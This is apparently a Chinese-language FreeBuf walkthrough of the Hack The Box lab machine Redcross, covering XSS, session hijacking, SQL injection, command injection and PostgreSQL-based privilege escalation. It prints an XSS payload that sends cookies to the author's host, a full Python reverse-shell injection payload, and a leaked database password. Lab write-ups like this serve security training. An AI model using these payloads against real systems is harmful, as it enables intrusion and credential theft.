freebuf1999
- 关注
Redcross 是一个在Hack The Box中属于难度中等的靶机,知识点涉及XSS漏洞获取web系统管理员权限、Cookie欺骗、PostgreSQL、XSS漏洞poc测试、sql注入、远程命令执行漏洞、Web系统的代码白盒审计分析等。感兴趣的同学可以在HackTheBox中进行打靶练习。
0x01 信息收集-reconnaissance
端口探测
首先利用nmap进行端口扫描
nmap -sC -sV -A -v 10.10.10.123
根据nmap的扫描结果可知,该目标主机可能运行着Linux系统,开放了提供SSH服务的22端口、提供http服务的80端口以及提供https服务的443端口。
我们访问该ip的80端口,http://10.10.10.113/的结果显示如上图所示,可以看到访问请求被自动定向到https服务,因此我们需要在Kali系统中的hosts文件添加如下信息。
10.10.10.113 redcross.htb intra.redcross.htb
该登录页面需要有用户名和密码才能进行登录操作,但是目前信息收集有限,所以登录框暂时搁置。此外,页面上有一个“contact form”的超链接,点击“https://intra.redcross.htb/?page=contact”
0x02漏洞利用
XSS漏洞检测
我们分别在三个文本框中分别测试XSS检测语句<img src="javascript.:alert('1234')">。
发现第一个和第二个输入框的显示结果为:
第三个输入框的显示结果为没有提示内容存在安全风险,这意味着该文本框可能存在XSS漏洞的。
因为第三个文本框并不会进行回显操作,因此无法获得警告弹窗显示,所以我们换一种测试思路来判断是否存在XSS漏洞,在该文本框输入:
<script>var myimg = new Image();myimg.src = 'http://10.10.14.7/q?='+ document.cookie;</script>
注:代码中的ip为我的Kali主机的ip地址。
在文本框输入xss测试poc后,还需要再Kali主机开启一个http服务:python3 -m http.server 80
上升操作做完后,可以发现kali主机的http服务出现了一个目标主机访问Kali的请求链接,链接中有一个phpsessionid,证明该后端确实存在XSS漏洞。
利用XSS获取的PHPSESSIONID获取Web管理员权限
回到登录界面https://intra.redcross.htb/?page=login。通过F12(也可以Crtl+Shift+i)打开浏览器的开发调试模式。
将cookie替换为之前利用xss漏洞欺骗所获取的phpsessonid,发现成功绕过登录框,直接获取
Web登录管理员的权限!!!
漏洞线索-sql注入测试并发现新的子域名系统
在拿到Web管理员权限界面后,尝试sql注入测试:https://intra.redcross.htb/?o=1%27&page=app
可能存在的注入点
o
parameter inGET /?o=2&page=app
通过sql注入的报错显示,名为admin webpanel的平台,着意味着当前域名存在其他的子域名系统。
我们需要把该子域名加入Kali主机的hosts文件中,更新后的hosts文件如下所示:
添加后,尝试访问https://admin.redcross.htb/?page=login
再次使用admin账号的PHPSESSIONID,发现依然有效,成功登录该admin pannel的web系统
点击左边的“User management",add一个用户
如上如所示,新增的用户分配了UID和GID,这看起来很像LInux系统中的用户类型,所以尝试刚才被分配的账号test,利用ssh成功登录目标主机系统,获取一个比较低的权限。
漏洞利用之获取Web系统授权后的RCE
乍一看,直觉告诉我下图中的文本输入框可能存在授权后的远程命令执行漏洞,于是简单的测试一下
下图所示,经测试后发现会回显一个错误提示页面,”ERR: Invalid IP Address format“,大意是输入不合法的IP地址格式,说明该文本框的后台存在类似waf的IP地址格式的检测。
利用Burpsuite测试”deny“按钮,下图是拦截deny操作的流量数据。
将捕获的流量数据放入Burpsuite的Repeater中,分隔的id命令符号”;“改为”%3b"进行了url编码,来绕过ip地址格式检测
反弹shell的payload为:ip=127.0.0.1%;ip=1;python+-c+'import+socket,subprocess,os%3bs%3dsocket.socket(socket.AF_INET,socket.SOCK_STREAM)%3bs.connect(("10.10.14.7",4444))%3bos.dup2(s.fileno(),0)%3b+os.dup2(s.fileno(),1)%3b+os.dup2(s.fileno(),2)%3bp%3dsubprocess.call(["/bin/sh","-i"])%3b'&action=deny&id=14&action=deny
其中payload中的10.10.14.7为kali主机的IP地址,4444是在kali主机根据nc的监听端口,成功获得反弹shell。
使用python -c 'import pty;pty.spawn("/bin/bash")'命令开始一个标准的bash终端,然后使用stty raw -echo 命令禁用终端回显。
漏洞利用之Web站点的代码审计分析
输入ls -al命令,发现actions.php文件
打开actions.php文件,发现添加adduser功能所对应的代码,账号密码为:user=unixusrmgr password=dheu%7wjx8B&
利用命令: psql -h 127.0.0.1 -d unix -U unixusrmgr -W尝试登录PortgreSQL数据库
输入select*from passwd_table;查看数据表中的内容,结果如下图所示:
按照LInux操作系统的设定,修改UID和GID、密码的操作也会引发目标系统中/etc/passwd文件的对应用户信息。所以,把tricia的UID和GID改为为具有root权限的数值,这样我们在使用sudo su命令时,tricia直接拥有root权限,为了后期提权方便,把tricia的密码改为sXuCKi7k3Xh/s(解码后为toor)
通过update passwd_table set gid=27 where username='tricia';
最后,通过\q命令退出该数据库,利用su tricia命令切换至tricia用户,输入密码toor,成为切换至tricia用户。
输入id命令,发现成功提权至root。
0x03总结
在本次靶机实战中,通过XSS漏洞获取网站的管理员admin的phpsessionid,然后利用该phpsessionid成功获取网站的admin权限。
在获取web管理员权限后,利用Web系统中的功能逻辑发现可以对白名单ip进行修改或删除等操作,于是便利用该逻辑特性成功进行RCE。
在提权环节,我们根据Linux系统的特性,,修改用户tricia用户的UID和GID、密码的操作也会引发目标系统中/etc/passwd文件的对应用户信息。所以,把tricia的UID和GID改为为具有root权限的数值,这样我们在使用sudo su命令时,tricia直接拥有root权限。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)